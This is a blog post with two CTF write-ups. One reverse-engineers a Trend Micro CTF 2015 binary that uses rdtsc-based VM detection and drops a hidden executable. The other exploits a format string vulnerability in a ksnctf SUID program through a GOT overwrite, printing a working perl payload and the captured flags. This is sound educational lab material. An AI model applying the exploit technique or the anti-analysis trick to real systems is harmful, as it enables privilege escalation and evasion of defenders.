21 Oct 2015
Trend Micro CTF 2015 was held on 9/26-9/27 2015. Although I could not fully participate, I will post some write-ups. This article is a write-up for Analysis Defense 100, in which you need to analyze the malware-like program to capture the flag. The crackme can be found here
After decompressing vonn.zip, you can find vonn
executable (ELF 64-bit)
taishi@sirius:~/trend_ctf|⇒ file vonn
vonn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=7f89c2bb36cc9d0882a4980a99d44a7674fb09e2, not stripped
When I run vonn
, it seems to check if it is executed on VM.
taishi@sirius:~/trend_ctf|⇒ ./vonn
You are not on VMM
taishi@sirius:~/trend_ctf|⇒
I was quite confused because I was running it on virtual machine actually (Parallels). Later, I found out that some other people could actually capture the flag just by executing vonn
on VM. But it didn’t happen to me (maybe because I’m using Parallels not VMWare). Anyways, let’s disassemble main
.
gdb$ disassemble
Dump of assembler code for function main:
0x00400b8d <+0>: push rbp
0x00400b8e <+1>: mov rbp,rsp
=> 0x00400b91 <+4>: sub rsp,0xd0
0x00400b98 <+11>: mov DWORD PTR [rbp-0xc4],edi
0x00400b9e <+17>: mov QWORD PTR [rbp-0xd0],rsi
0x00400ba5 <+24>: cpuid
0x00400ba7 <+26>: rdtsc
0x00400ba9 <+28>: mov QWORD PTR [rbp-0xb8],rax
0x00400bb0 <+35>: mov QWORD PTR [rbp-0xb0],rdx
0x00400bb7 <+42>: rdtsc
...
0x00400cb4 <+295>: mov rax,rdx
0x00400cb7 <+298>: mov QWORD PTR [rbp-0x8],rax
0x00400cbb <+302>: mov rax,QWORD PTR [rbp-0x18]
0x00400cbf <+306>: cmp rax,QWORD PTR [rbp-0x10]
0x00400cc3 <+310>: je 0x400cfc <main+367>
0x00400cc5 <+312>: mov rax,QWORD PTR [rbp-0x10]
0x00400cc9 <+316>: cmp rax,QWORD PTR [rbp-0x8]
0x00400ccd <+320>: je 0x400cfc <main+367>
0x00400ccf <+322>: mov rax,QWORD PTR [rbp-0x18]
0x00400cd3 <+326>: cmp rax,QWORD PTR [rbp-0x8]
0x00400cd7 <+330>: je 0x400cfc <main+367>
0x00400cd9 <+332>: mov edi,0x401100 <== "You are on VMM!"
0x00400cde <+337>: call 0x400990 <puts@plt>
0x00400ce3 <+342>: mov rax,QWORD PTR [rbp-0xd0]
0x00400cea <+349>: mov rax,QWORD PTR [rax]
0x00400ced <+352>: mov rdi,rax
0x00400cf0 <+355>: mov eax,0x0
0x00400cf5 <+360>: call 0x400d08 <ldex()>
0x00400cfa <+365>: jmp 0x400d06 <main+377>
0x00400cfc <+367>: mov edi,0x401110 <== "You are not on VMM"
0x00400d01 <+372>: call 0x400990 <puts@plt>
0x00400d06 <+377>: leave
0x00400d07 <+378>: ret
gdb$ x/s 0x401110
0x401110: "You are not on VMM"
gdb$ x/s 0x401100
0x401100: "You are on VMM!"
It seems that vonn
first checks if the program is run on VM (from <main+24> onwards). Then, if it’s run on VM, ldex()
function is called at <main+360>. If not, it just exits after printing out “You are not on VMM” message.
My instinct is that ldex()
is responsible for capturing the flag. So let’s disassemble ldex()
too.
gdb$ disassemble ldex
[...]
0x00400d82 <+122>: mov DWORD PTR [rbp-0xec],eax
0x00400d88 <+128>: mov esi,0x42
0x00400d8d <+133>: mov edi,0x401123 <== "/tmp/...,,,...,,"
0x00400d92 <+138>: mov eax,0x0
0x00400d97 <+143>: call 0x400a90 <open@plt> <== creating /tmp/...,,,...,,
0x00400d9c <+148>: mov DWORD PTR [rbp-0xe8],eax
0x00400da2 <+154>: lea rdx,[rbp-0xd0]
0x00400da9 <+161>: mov eax,DWORD PTR [rbp-0xec]
0x00400daf <+167>: mov rsi,rdx
0x00400db2 <+170>: mov edi,eax
0x00400db4 <+172>: call 0x4010e0 <fstat>
0x00400db9 <+177>: mov rax,QWORD PTR [rbp-0xa0]
0x00400dc0 <+184>: cmp rax,0x5000
0x00400dc6 <+190>: jle 0x400eb5 <ldex()+429>
[...]
0x00400e6a <+354>: mov rcx,rdx
0x00400e6d <+357>: mov rdx,rdi
0x00400e70 <+360>: mov rdi,rax
0x00400e73 <+363>: mov eax,0x0
0x00400e78 <+368>: call 0x400f26 <Decrypt> <== call Decrypt()
0x00400e7d <+373>: mov rax,QWORD PTR [rbp-0xa0]
0x00400e84 <+380>: sub rax,0x5000
0x00400e8a <+386>: mov rdx,rax
0x00400e8d <+389>: mov rcx,QWORD PTR [rbp-0xd8]
0x00400e94 <+396>: mov eax,DWORD PTR [rbp-0xe8]
0x00400e9a <+402>: mov rsi,rcx
0x00400e9d <+405>: mov edi,eax
0x00400e9f <+407>: call 0x400a80 <write@plt>
0x00400ea4 <+412>: mov DWORD PTR [rbp-0xe4],eax
0x00400eaa <+418>: cmp DWORD PTR [rbp-0xe4],0x0
0x00400eb1 <+425>: jns 0x400ed3 <ldex()+459>
0x00400eb3 <+427>: jmp 0x400ec9 <ldex()+449>
0x00400eb5 <+429>: mov edi,0x401123
0x00400eba <+434>: call 0x4009f0 <unlink@plt> <== unlink /tmp/...,,,...,,
0x00400ebf <+439>: mov edi,0xffffffff
0x00400ec4 <+444>: call 0x4009a0 <exit@plt>
0x00400ec9 <+449>: mov edi,0xffffffff
0x00400ece <+454>: call 0x4009a0 <exit@plt>
[...]
gdb$ x/s 0x401123
0x401123: "/tmp/...,,,...,,"
As I examined, vonn
creates a malware-like file called /tmp/...,,,...,,
, then call Decrypt
and unlink (delete) it before ldex()
returns. It seems that /tmp/...,,,...,,
would be the key to capture the flag.
Now, what I need to do is by using GDB to somehow make the program executes ldex()
function. Actually, it seems that rdtsc
(time stamp counter) is responsible for determining whether it is on VM. If the number of cycles is small, the program recognizes that it is run on VM.
0x00400ba5 <+24>: cpuid
0x00400ba7 <+26>: rdtsc
0x00400ba9 <+28>: mov QWORD PTR [rbp-0xb8],rax
0x00400bb0 <+35>: mov QWORD PTR [rbp-0xb0],rdx
0x00400bb7 <+42>: rdtsc <== time stamp counter
0x00400bb9 <+44>: mov QWORD PTR [rbp-0xa8],rax
0x00400bc0 <+51>: mov QWORD PTR [rbp-0xa0],rdx
0x00400bc7 <+58>: rdtsc
0x00400bc9 <+60>: mov QWORD PTR [rbp-0x98],rax
0x00400bd0 <+67>: mov QWORD PTR [rbp-0x90],rdx
0x00400bd7 <+74>: rdtsc
0x00400bd9 <+76>: mov QWORD PTR [rbp-0x88],rax
That means that if I manually nexti
relatively slowly from <main+26> to <main+74> in GDB, the program thinks it’s running on VM, thus ldex()
should be executed.
Now, I’m inside ldex()
. All I need to do is to read /tmp/...,,,...,,
. Set breakpoint right before unlink()
(at 0x00400eba).
gdb$ break *0x00400eba
Breakpoint 3 at 0x400eba
gdb$ c
Continuing.
process 15200 is executing new program: /tmp/...,,,...,,
[...]
Open another terminal, and read the file.
taishi@sirius:~/trend_ctf|⇒ file /tmp/...,,,...,,
/tmp/...,,,...,,: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0caffac67e07fa450f8da2f6ed2579e8de43ea46, not stripped
It seems that /tmp/...,,,...,,
is an executable. Running it…
taishi@sirius:~/trend_ctf|⇒ /tmp/...,,,...,,
TMCTF{ce5d8bb4d5efe86d25098bec300d6954}
Got the flag! TMCTF{ce5d8bb4d5efe86d25098bec300d6954}
20 Oct 2015
ksnctf is one of the beginner level CTF websites. This article is the write-up for the question 4 Villager A, in which you need to exploit the Format String Vulnerability to capture the flag!
Note that this article includes a complete solution. If you are looking for some hints for Villager A, you should refer to these keywords: Format String Vulnerability
and GOT overwrite
.
Write-up
Connect
Using given information, access to the server ssh -p 10022 q4@ctfq.sweetduet.info
In the server, you can find
[q4@localhost ~]$ ls -al
total 36
drwxr-xr-x. 2 root root 4096 May 22 2012 .
drwxr-xr-x. 17 root root 4096 Oct 6 2014 ..
-rw-r--r--. 1 root root 18 Dec 2 2011 .bash_logout
-rw-r--r--. 1 root root 176 Dec 2 2011 .bash_profile
-rw-r--r--. 1 root root 124 Dec 2 2011 .bashrc
-r--------. 2 q4a q4a 22 May 22 2012 flag.txt
-rwsr-xr-x. 1 q4a q4a 5857 May 22 2012 q4
-rw-r--r--. 1 root root 151 Jun 1 2012 readme.txt
[q4@localhost ~]$ cat readme.txt
You are not allowed to connect internet and write the home directory.
If you need temporary directory, use /tmp.
Sometimes this machine will be reset.
[q4@localhost ~]$ cat flag.txt
cat: flag.txt: Permission denied
[q4@localhost ~]$ ./q4
What's your name?
sirius
Hi, sirius
Do you want the flag?
yes
Do you want the flag?
yes
Do you want the flag?
no
I see. Good bye.
Analyze
Since I don’t have an access to read flag.txt, it seems that I need to somehow exploit q4 (SUID=root) to read the file. Let’s disassemble main().
...
0x080485e4 <+48>: call 0x8048484 <fgets@plt>
0x080485e9 <+53>: mov DWORD PTR [esp],0x80487b6
0x080485f0 <+60>: call 0x80484b4 <printf@plt> <==
0x080485f5 <+65>: lea eax,[esp+0x18]
0x080485f9 <+69>: mov DWORD PTR [esp],eax
0x080485fc <+72>: call 0x80484b4 <printf@plt> <== FMT_VULN
0x08048601 <+77>: mov DWORD PTR [esp],0xa
0x08048608 <+84>: call 0x8048474 <putchar@plt> <==
0x0804860d <+89>: mov DWORD PTR [esp+0x418],0x1
0x08048618 <+100>: jmp 0x8048681 <main+205>
0x0804861a <+102>: mov DWORD PTR [esp],0x80487bb
0x08048621 <+109>: call 0x80484c4 <puts@plt>
...
(gdb) c
Continuing.
What's your name?
Breakpoint 2, 0x080485e4 in main ()
(gdb) nexti
hello
0x080485e9 in main ()
(gdb) x/s 0x80487b6
0x80487b6 <__dso_handle+22>: "Hi, "
(gdb) x/s $esp+0x18
0xbf9524d8: "hello\n"
It seems that at <main+48>, fgets()
is called to get a string from stdin; at <main+72>, printf()
is called to output the string. But, it’s kind of weird that printf()
was called at <main+60> to output “Hi, “, and after that, putchar()
was called to output “\n” (0xa). Why are they called separately, instead of calling just one like printf("Hi, %s\n", input);
as you probably more familiar to write. Now, I’m getting suspicious that there is a format string vulnerability in this program. (I mean, it’s a CTF program)
What if I input some kind of format string at <main+48>?
[q4@localhost ~]$ ./q4
What's your name?
sirius%x%x%x
Hi, sirius400d604408
Do you want the flag?
It’s now clear that there is a format string vulnerability at <main+72>. So, let’s think about how to exploit it to read flag.txt.
...
0x08048601 <+77>: mov DWORD PTR [esp],0xa
0x08048608 <+84>: call 0x8048474 <putchar@plt>
0x0804860d <+89>: mov DWORD PTR [esp+0x418],0x1 <==
0x08048618 <+100>: jmp 0x8048681 <main+205>
...
0x08048681 <+205>: mov eax,DWORD PTR [esp+0x418] <==
0x08048688 <+212>: test eax,eax
0x0804868a <+214>: setne al
0x0804868d <+217>: test al,al
0x0804868f <+219>: jne 0x804861a <main+102> <==
0x08048691 <+221>: mov DWORD PTR [esp+0x4],0x80487e6
0x08048699 <+229>: mov DWORD PTR [esp],0x80487e8
0x080486a0 <+236>: call 0x80484a4 <fopen@plt>
0x080486a5 <+241>: mov DWORD PTR [esp+0x41c],eax
0x080486ac <+248>: mov eax,DWORD PTR [esp+0x41c]
0x080486b3 <+255>: mov DWORD PTR [esp+0x8],eax
0x080486b7 <+259>: mov DWORD PTR [esp+0x4],0x400
0x080486bf <+267>: lea eax,[esp+0x18]
0x080486c3 <+271>: mov DWORD PTR [esp],eax
0x080486c6 <+274>: call 0x8048484 <fgets@plt>
0x080486cb <+279>: lea eax,[esp+0x18]
0x080486cf <+283>: mov DWORD PTR [esp],eax
0x080486d2 <+286>: call 0x80484b4 <printf@plt>
...(return)
Realize that 0x1 is moved into [esp+0x418] right before the jump to <main+205>. Then, 0x1 is brought back to eax, followed by jne
at <main+219> – if the value of eax is not 0 (or ZF = 0), it jumps to <main+102> that is a loop asking “Do you want the flag?”, as shown below.
...
0x0804861a <+102>: mov DWORD PTR [esp],0x80487bb
0x08048621 <+109>: call 0x80484c4 <puts@plt>
0x08048626 <+114>: mov eax,ds:0x8049a04
0x0804862b <+119>: mov DWORD PTR [esp+0x8],eax
0x0804862f <+123>: mov DWORD PTR [esp+0x4],0x400
0x08048637 <+131>: lea eax,[esp+0x18]
0x0804863b <+135>: mov DWORD PTR [esp],eax
0x0804863e <+138>: call 0x8048484 <fgets@plt>
0x08048643 <+143>: test eax,eax
0x08048645 <+145>: sete al
0x08048648 <+148>: test al,al
0x0804864a <+150>: je 0x8048656 <main+162>
0x0804864c <+152>: mov eax,0x0
0x08048651 <+157>: jmp 0x80486dc <main+296>
0x08048656 <+162>: mov DWORD PTR [esp+0x4],0x80487d1
0x0804865e <+170>: lea eax,[esp+0x18]
0x08048662 <+174>: mov DWORD PTR [esp],eax
0x08048665 <+177>: call 0x80484e4 <strcmp@plt>
0x0804866a <+182>: test eax,eax
0x0804866c <+184>: jne 0x8048681 <main+205>
0x0804866e <+186>: mov DWORD PTR [esp],0x80487d5
0x08048675 <+193>: call 0x80484c4 <puts@plt>
0x0804867a <+198>: mov eax,0x0
0x0804867f <+203>: jmp 0x80486dc <main+296>
...
On the other hand, if the jump was not taken, then it opens flag.txt
and print it out (from <main+212> onwards)
One possibility to attack this program is by using format string attack to change the value of [esp+0x418] to 0 before jne
at <main+219>, but it wouldn’t work because mov [esp+0x418], 0x1
happens after the string vulnerability. Moreover, ASLR (Address Space Layout Randomization) is enabled on this system, so guessing the stack address of [esp+0x418] is very hard.
Exploitation
Remember that ASLR doesn’t disable the randomization of memory address of code section. If I can somehow set eip
to <main+221> (0x08048691), I should be able to read flag.txt
.
Right after the format string vulnerability, putchar@plt
is called, using PLT. That means, if I modify the address referred at putchar@plt
to <main+221>, I can modify eip
!
Let’s examine.
...
0x08048601 <+77>: mov DWORD PTR [esp],0xa
=> 0x08048608 <+84>: call 0x8048474 <putchar@plt>
0x0804860d <+89>: mov DWORD PTR [esp+0x418],0x1
0x08048618 <+100>: jmp 0x8048681 <main+205>
0x0804861a <+102>: mov DWORD PTR [esp],0x80487bb
0x08048621 <+109>: call 0x80484c4 <puts@plt>
0x08048626 <+114>: mov eax,ds:0x8049a04
0x0804862b <+119>: mov DWORD PTR [esp+0x8],eax
0x0804862f <+123>: mov DWORD PTR [esp+0x4],0x400
(gdb) stepi
0x08048474 in putchar@plt ()
(gdb) disassemble
Dump of assembler code for function putchar@plt:
=> 0x08048474 <+0>: jmp DWORD PTR ds:0x80499e0
0x0804847a <+6>: push 0x8
0x0804847f <+11>: jmp 0x8048454
End of assembler dump.
So, it seems that if I change the value stored at 0x80499e0 to be 0x08048691 (<main+219>), I can read flag.txt.
[q4@localhost ~]$ ./q4
What's your name?
AAAA%x.%x.%x.%x.%x.%x.%x.%x.
Hi, AAAA400.cfa440.8.14.64dfc4.41414141.252e7825.78252e78.
Do you want the flag?
As examining the format vulnerability, it seems that the input string is stored at 6th place from the top of the stack.
GETTING THE FLAG
Now, we got all the informatin needed.
- modify the value at 0x80499e0 to 0x8048691
- offset is 6
Some calculation
>>> 0x8691 - 8
34441
>>>0x10804 - 0x8691
33139
Thus, the exploit code is
[q4@localhost ~]$ perl -e 'print "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn"'| ./q4
Then, the flag was: FLAG_nwW6eP503Q3QI0zw